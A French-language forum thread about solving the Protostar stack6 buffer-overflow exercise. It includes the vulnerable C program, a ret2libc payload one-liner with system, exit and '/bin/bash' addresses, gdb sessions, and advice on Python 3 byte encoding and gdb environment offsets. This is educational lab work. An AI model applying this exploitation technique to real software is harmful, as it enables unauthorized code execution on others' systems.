Discussion :

[Neolex]

Bonjour à tous ,
J'essaye de faire l'exercice stack6 de la machine virutelle protostar.
Le but est d'exploiter le code suivant :

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
 
void getpath()
{
  char buffer[64];
  unsigned int ret;
 
  printf("input path please: "); fflush(stdout);
 
  gets(buffer);
 
  ret = __builtin_return_address(0);
 
  if((ret & 0xbf000000) == 0xbf000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }
 
  printf("got path %s\n", buffer);
}
 
int main(int argc, char **argv)
{
  getpath();
 
 
 
}

J'ai essayé de l'exploiter en ret2libc come ceci :

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
 
python -c "print('A'*80+'\x40\x9b\xe1\xf7'+'\x30\xd7\xe0\xf7'+'\x89\xda\xff\xff')" > file

avec

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
gdb-peda$ x/s 0xffffda89
0xffffda89:	"/bin/bash"

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e19b40 <system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7e0d730 <exit>

j'obitens

Stopped reason: SIGSEGV
0xc39bc240 in ?? ()

le 80 est bon car si je fais

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

python -c "print('A'*80+'B'*4+'C'*4)" > file

j'obtiens

Stopped reason: SIGSEGV
0x42424242 in ?? ()

Merci d'avance pour toute aide !

[dahtah]

Salut,

Tes adresses sont bizarres pour du 32 bits (a la fois @libc, et @"bash"), elles sont en kernel land (au dela de 0xc0000000). D'ailleurs tu prends un SIGSEGV vu que tu essaies d'executer du code kernel (0xc39bc240).

Ton approche generale est correcte sinon.

Pour debugger, met un breakpoint sur system() et inspecte la stack a ce point. Reverifie bien tes adresses, le mapping en-dehors de gdb n'est pas forcement le meme

[Neolex]

Merci pour votre réponse .

Je suis sur un pc 64bits mais j'ai tout compilé en 32bits , peut être que ça vient de la les adresses "bizarre" ?

J'ai mis un breakpoint sur system mais il n'est pas atteint ... Je vais essayer d'y aller completement pas à pas pour voir ce qu'il se passe.

Merci beaucoup de votre aide

[Neolex]

J'ai essayé de remplacer python par python2 et voici ce qui se passe :

atlas@archlinux-atlas> Protostar_stack6$python2 -c "print('A'*80+'\x40\x9b\xe1\xf7'+'\x30\xd7\xe0\xf7'+'\x89\xda\xff\xff')" > file
atlas@archlinux-atlas> Protostar_stack6$./stack6 < file
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@���AAAAAAAAAAAA@���0�������
sh: xterm : commande introuvable

Et dans gdb :

gdb-peda$ r < file
Starting program: /home/atlas/Documents/hacking/pwn/Protostar_stack6/stack6 < file
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@���AAAAAAAAAAAA@���0�������
[New process 14384]
process 14384 is executing new program: /usr/bin/bash
process 14384 is executing new program: /usr/bin/bash
[Inferior 2 (process 14384) exited normally]
Warning: not running or target is remote

Edit: j'ai re essayer ce matin avec les meme valeur et ça fonctionne sur ma machine quand je le fais en perl et en python2 mais pas en python 3.5 ... si quelqu'un aurait une idée du pourquoi ?

Edit 2: J'ai finalement reussi a le faire fonctionner sur la machine virtuelle protostar mais il y avait une enorme difference entre l'adresse de la variable d'environnement dans gdb et celle hors de gdb , j'ai mis beaucou temps à "tatonner" , il y à t'il une facon de connaitre la difference entre ces adresse à l'avance ou est on obligé d'y aller a taton ?

[dahtah]

Salut,

Meme pour du 32bits sur 64bits tes adresses sont etranges. Enfin bon, aucune importance.

Edit: j'ai re essayer ce matin avec les meme valeur et ça fonctionne sur ma machine quand je le fais en perl et en python2 mais pas en python 3.5 ... si quelqu'un aurait une idée du pourquoi ?

Il faut que tu travailles sur des bytes en python3: (e.g: b"A"*123 + b"c"*12). Sinon ton flux est considere comme unicode et serialise en utf-8 par default ('\x40\x9b\xe1\xf7'.encode() appele par python3):

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 
stash/ » python3 -c "print('A'*80+'\x40\x9b\xe1\xf7'+'\x30\xd7\xe0\xf7'+'\x89\xda\xff\xff')" > /tmp/test
stash/ » hexdump -C /tmp/test 
00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
*
00000050  40 c2 9b c3 a1 c3 b7 30  c3 97 c3 a0 c3 b7 c2 89  |@......0........|
00000060  c3 9a c3 bf c3 bf 0a                              |.......|
00000067
>>> # Example pour le signe ÷
>>> p = "\xf7"
>>> p
'÷'
>>> p.encode()
b'\xc3\xb7'
>>> # Table de conversion<a href="http://www.utf8-chartable.de/" target="_blank"> ici</a>

On retrouve l'adresse ou ca plantait dans ton premier post

Edit 2: J'ai finalement reussi a le faire fonctionner sur la machine virtuelle protostar mais il y avait une enorme difference entre l'adresse de la variable d'environnement dans gdb et celle hors de gdb , j'ai mis beaucou temps à "tatonner" , il y à t'il une facon de connaitre la difference entre ces adresse à l'avance ou est on obligé d'y aller a taton ?

Oui, c'est normal. GDB rajoute pas mal de variables d'environment (LINES, COLUMNS, ... c.f: show environment), du coup ca modifie le haut de la stack. La longueur du chemin pointant vers ton binaire, ainsi que la longueur de argv jouent egalement.
L'idee c'est d'utiliser env, de telle sorte a avoir le meme environnement dans gdb et en dehors. Le script present ici m'etait utile a l'epoque.

Bon courage.

[Neolex]

Bonsoir ,
Merci beaucoup pour vos reponses elles ont vraiment eclairé les intérogations que j'avais !

Merci pour le script il sera surement très utile !
J'ai finalement réussi à trouver l'adresse de la variable d'environnement avec un simple getEnv en C.

Je mets le sujet en résolu , merci encore j'ai beaucoup appris grâce à vous !